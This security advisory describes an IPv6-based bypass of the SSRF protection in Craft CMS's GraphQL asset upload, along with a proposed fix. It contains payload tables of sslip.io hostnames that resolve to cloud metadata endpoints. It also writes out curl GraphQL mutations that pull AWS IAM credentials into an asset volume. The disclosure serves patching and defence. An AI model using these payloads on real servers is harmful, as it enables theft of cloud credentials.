The SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection.
This is a bypass of the security fix for CVE-2025-68437 (GHSA-x27p-wfqw-hfcc).
Exploitation requires GraphQL schema permissions for:
- Edit assets in the <VolumeName> volume
- Create assets in the <VolumeName> volume
These permissions may be granted to: - Authenticated users with appropriate GraphQL schema access - Public Schema (if misconfigured with write permissions)
From PHP documentation: "gethostbyname - Get the IPv4 address corresponding to a given Internet host name"
When no IPv4 (A record) exists, gethostbyname() returns the hostname string unchanged.
+-----------------------------------------------------------------------------+
| Step 1: Attacker provides URL |
| http://fd00-ec2--254.sslip.io/latest/meta-data/ |
+-----------------------------------------------------------------------------+
| Step 2: Validation calls gethostbyname('fd00-ec2--254.sslip.io') |
| -> No A record exists |
| -> Returns: "fd00-ec2--254.sslip.io" (string, not an IP!) |
+-----------------------------------------------------------------------------+
| Step 3: Blocklist check |
| in_array("fd00-ec2--254.sslip.io", ['169.254.169.254', ...]) |
| -> FALSE (string != IPv4 addresses) |
| -> VALIDATION PASSES |
+-----------------------------------------------------------------------------+
| Step 4: Guzzle makes HTTP request |
| -> Resolves DNS (including AAAA records) |
| -> Gets IPv6: fd00:ec2::254 |
| -> Connects to AWS IMDS IPv6 endpoint |
| -> CREDENTIALS STOLEN |
+-----------------------------------------------------------------------------+
| Cloud Provider | Blocked IPv4 | IPv6 Equivalent | Bypass Payload |
|----------------|--------------|-----------------|----------------|
| AWS EC2 IMDS | 169.254.169.254 | fd00:ec2::254 | http://fd00-ec2--254.sslip.io/ |
| AWS ECS | 169.254.170.2 | fd00:ec2::254 (via IMDS) | http://fd00-ec2--254.sslip.io/ |
| Google Cloud GCP | 169.254.169.254 | fd20:ce::254 | http://fd20-ce--254.sslip.io/ |
| Azure | 169.254.169.254 | No IPv6 endpoint | N/A |
| Alibaba Cloud | 100.100.100.200 | No documented IPv6 | N/A |
| Oracle Cloud | 192.0.0.192 | No documented IPv6 | N/A |
| Target | IPv6 Address | Bypass Payload |
|--------|--------------|----------------|
| IPv6 Loopback | ::1 | http://0-0-0-0-0-0-0-1.sslip.io/ |
| AWS NTP Service | fd00:ec2::123 | http://fd00-ec2--123.sslip.io/ |
| AWS DNS Service | fd00:ec2::253 | http://fd00-ec2--253.sslip.io/ |
| IPv4-mapped IPv6 | ::ffff:169.254.169.254 | http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/ |
# Verify the hostname has no IPv4 record (what gethostbyname sees)
$ dig fd00-ec2--254.sslip.io A +short
# (empty - no IPv4 record)
# Verify the hostname has IPv6 record (what Guzzle/curl uses)
$ dig fd00-ec2--254.sslip.io AAAA +short
fd00:ec2::254
curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
-d '{
"query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\", filename: \"role.txt\" }) { id } }"
}'
# Replace ROLE_NAME with the role discovered in Step 2
curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
-d '{
"query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/ROLE_NAME\", filename: \"creds.json\" }) { id } }"
}'
The credentials will be saved to the asset volume (e.g., /userphotos/photos/creds.json).
url: "http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/"Replace gethostbyname() with dns_get_record() to check both IPv4 and IPv6:
// Resolve both IPv4 and IPv6 addresses
$records = @dns_get_record($hostname, DNS_A | DNS_AAAA);
if ($records === false) {
$records = [];
}
// Blocked IPv6 metadata prefixes
$blockedIPv6Prefixes = [
'fd00:ec2::', // AWS IMDS, DNS, NTP
'fd20:ce::', // GCP Metadata
'::1', // Loopback
'fe80:', // Link-local
'::ffff:', // IPv4-mapped IPv6
];
foreach ($records as $record) {
// Check IPv4 (existing logic)
if (isset($record['ip']) && in_array($record['ip'], $blockedIPv4)) {
return false;
}
// Check IPv6 (NEW)
if (isset($record['ipv6'])) {
foreach ($blockedIPv6Prefixes as $prefix) {
if (str_starts_with($record['ipv6'], $prefix)) {
return false;
}
}
}
}
| Mitigation | Description |
|------------|-------------|
| Block wildcard DNS services | Block nip.io, sslip.io, xip.io suffixes |
| Use dns_get_record() | Resolves both IPv4 and IPv6 |
{
"github_reviewed": true,
"severity": "MODERATE",
"github_reviewed_at": "2026-02-24T15:51:07Z",
"nvd_published_at": "2026-02-24T03:16:02Z",
"cwe_ids": [
"CWE-918"
]
}